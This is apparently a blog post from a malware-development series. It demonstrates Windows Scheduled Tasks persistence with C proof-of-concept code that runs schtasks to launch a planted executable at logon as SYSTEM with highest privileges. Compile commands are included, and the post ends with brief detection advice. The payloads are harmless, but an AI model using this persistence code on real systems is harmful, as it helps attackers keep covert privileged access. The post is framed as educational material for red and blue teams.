Malware development: persistence - part 27. Scheduled Tasks. Simple C example.
﷽
Hello, cybersecurity enthusiasts and white hackers!
I’ve written a lot about various persistence methods but somehow I forgot to mention one simple technique.
Today, I’m going to share another malware persistence technique: Scheduled Tasks. This is a classic method that attackers use to maintain access to a compromised system. I’ll walk you through how it works, provide a proof-of-concept (PoC), and discuss some common pitfalls and fixes.
scheduled tasks
Scheduled Tasks is a Windows feature that allows users to automate the execution of programs or scripts at specific times or events, such as system startup or user logon. Attackers can abuse this feature to ensure their malware runs every time the system starts or a user logs in.
In another words, the attacker creates a scheduled task that points to their malicious executable. The task is configured to run at system startup or user logon, ensuring the malware is executed persistently.
practical example
Let’s start with a simple “malware” executable that displays a message box. This will simulate the malicious payload (hack.c
):
/*
* hack.c
* "malware" for Scheduled Task
* persistence trick
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2025/03/12/malware-pers-27.html
*/
#include <windows.h>
#pragma comment (lib, "user32.lib")
int main() {
MessageBoxA(NULL, "Meow-meow!!", "=^..^=", MB_OK);
return 0;
}
This program simply displays a message box with the text Meow-meow!!
:
.\hack.exe
Next, we’ll create a program to set up the persistence mechanism using Scheduled Tasks pers.c
:
/*
* pers.c
* persistence via Scheduled Tasks
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2025/03/12/malware-pers-27.html
*/
#include <windows.h>
#include <stdio.h>
int main() {
// task
const char *taskName = "MeowTask";
const char *malwarePath = "C:\\Users\\zhzhu\\Desktop\\hack.exe";
char command[512];
snprintf(command, sizeof(command),
"schtasks /create /tn \"%s\" /tr \"%s\" /sc onlogon /ru SYSTEM /rl highest /f",
taskName, malwarePath);
// run command
int result = system(command);
if (result == 0) {
printf("task created successfully! :)\n");
} else {
printf("failed to create task. :(\n");
}
return 0;
}
As you can see, the logic is pretty simple. This program creates a scheduled task named MeowTask
that runs hack.exe
at user logon with the highest privileges. The task is set to run as the SYSTEM
user.
But this option hack.exe
didn’t work for me. I’ll write later why that’s why I replaced it with another hack.c
:
/*
* hack.c
* "malware" for Scheduled Task
* persistence trick
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2025/03/12/malware-pers-27.html
*/
#include <windows.h>
#include <stdio.h>
int main() {
FILE *file = fopen("C:\\Users\\zhzhu\\Desktop\\meow.txt", "w");
if (file) {
fprintf(file, "=^..^= Meow-meow =^..^=!!\n");
fclose(file);
}
return 0;
}
The logic is a little different: instead of displaying the graphical interface of the message window, we simply create a file meow.txt
and write the text =^..^= Meow-meow =^..^=!!
into it.
demo
First of all compile hack.c
:
x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
Then compile pers.c
:
x86_64-w64-mingw32-g++ -O2 pers.c -o pers.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
Let’s say an attacker delivered our file hack.exe
to the desktop at the post exploitation stage.
Then run our persistence script on the victim’s machine:
.\pers.exe
As you can see, scheduled task successfully created.
Then, reboot the system or log off and log back in:
If everything works, you should see the new file with =^..^= Meow-meow =^..^=!!
message:
As you can see everything is worked perfectly! =^..^=
But there are the caveat. For some reason when creating a new scheduled task in my case it only worked when my virtual machine, that is, my laptop was connected to the network and not running on battery power:
Also while testing first version of PoC with meow-meow
messagebox, I encountered an issue where the task was created successfully, but the message box didn’t appear after reboot.
mitigation
Monitor for unusual tasks or tasks running from suspicious locations. Use endpoint detection and response (EDR) tools to detect and block malicious tasks.
Scheduled Tasks are a simple yet effective way to achieve persistence on a Windows system, the APT groups like APT17 and APT41 exploited this feature for attacking PCs. Stay tuned for more malware persistence techniques, and don’t forget to experiment responsibly.
I hope this post spreads awareness to the blue teamers of this interesting persistence technique, and adds a weapon to the red teamers arsenal.
This is a practical case for educational purposes only.
schtasks
MITRE: Scheduled Task/Job
APT17
APT41
Malware persistence - part 1. Registry run keys
source code in github
Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine